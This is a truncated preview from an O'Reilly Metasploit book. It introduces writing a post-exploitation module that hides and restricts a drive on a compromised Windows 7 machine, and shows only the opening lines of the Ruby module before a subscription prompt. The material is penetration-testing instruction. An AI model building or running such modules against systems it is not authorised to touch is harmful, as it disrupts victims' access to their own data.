Writing a drive-disabler post-exploitation module

As we have now seen the basics of module building, we can go a step further and try to build a post-exploitation module. A point to remember here is that we can only run a post-exploitation module after a target has been compromised successfully.

So, let's begin with a simple drive-disabler module, which will disable the selected drive at the target system, which is a Windows 7 OS. Let's see the code for the module, as follows:

require 'rex' require 'msf/core/post/windows/registry' class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry def initialize super( 'Name' => 'Drive Disabler', 'Description' => 'This Modules Hides and Restrict Access to a Drive', 'License' => MSF_LICENSE, ...

Get The Complete Metasploit Guide now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.